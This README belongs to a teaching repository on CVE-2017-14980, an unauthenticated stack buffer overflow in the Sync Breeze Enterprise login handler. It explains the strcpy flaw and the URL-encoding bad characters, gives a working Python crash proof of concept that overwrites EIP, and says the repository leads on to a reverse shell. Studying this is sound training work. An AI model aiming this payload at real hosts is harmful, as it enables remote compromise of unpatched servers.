
Stack-based buffer overflow in Sync Breeze Enterprise 10.0.28 reachable through the /login handler, demonstrating how unchecked input length can corrupt stack memory.
Stack-based buffer overflow in Sync Breeze Enterprise 10.0.28 reachable through the /login handler, demonstrating how unchecked input length can corrupt stack memory.
This repository is part of the material I use when teaching memory corruption exploitation (in addition to my regular work, I also teach in different cybersecurity courses where I help train the next generation of reverse engineers).
CVE-2017-14980 is a case I use when I want students to experience a vanilla EIP overwrite over HTTP rather than a raw TCP protocol. It looks simple at first, a login form, a long password, a crash, but the HTTP context introduces a set of bad characters that are not immediately obvious and that force students to think about how the data is being processed before it reaches the vulnerable buffer. Understanding why %, &, +, and = are bad chars here requires understanding URL encoding, which is a useful lesson on its own.
Sync Breeze Enterprise is a Windows file synchronization application that exposes a web management interface. The vulnerability is in the login handler, which copies the password field into a fixed-size stack buffer without length validation. What makes this case useful for teaching:
Sync Breeze Enterprise is a Windows file synchronization tool that includes a built-in web server for remote management. The web interface listens on TCP port 80 when enabled and exposes a login form at /login. The vulnerability is in the POST handler that processes the password field.
Key technical details:
Sync Breeze processes the login form by reading the POST body and extracting the password field. The value is copied into a fixed-size stack buffer without checking its length. A simplified version of the vulnerable logic looks like this:
char password_buffer[256];
strcpy(password_buffer, password_field);
The POST body is URL-decoded before the copy takes place, which means characters like %25 are decoded to % before reaching the buffer. This is also why certain URL-special characters act as bad chars, they are interpreted by the HTTP layer before the data reaches the vulnerable copy operation. Sending a sufficiently long password value causes the copy to write past the end of the buffer, overwriting the saved return address. When the function returns, the CPU loads the attacker-controlled value from the stack into EIP and jumps to it.
The crash can be reproduced by sending an oversized password in a POST request to /login. No authentication is required. Example using Python:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
When executed under a debugger, the crash shows EIP overwritten with user-controlled data:
EIP = 41414141
confirming that the saved return address has been corrupted by the overflow.
The goal of this repository is not only to demonstrate the crash, but to walk through the complete exploitation process step by step, from fuzzing to a working reverse shell.
To keep the main README clean, the detailed exploitation notes, scripts, and debugger steps are placed inside the Vulnerability 📂 folder of this repository.
There you will find the complete workflow used to exploit this CVE, including: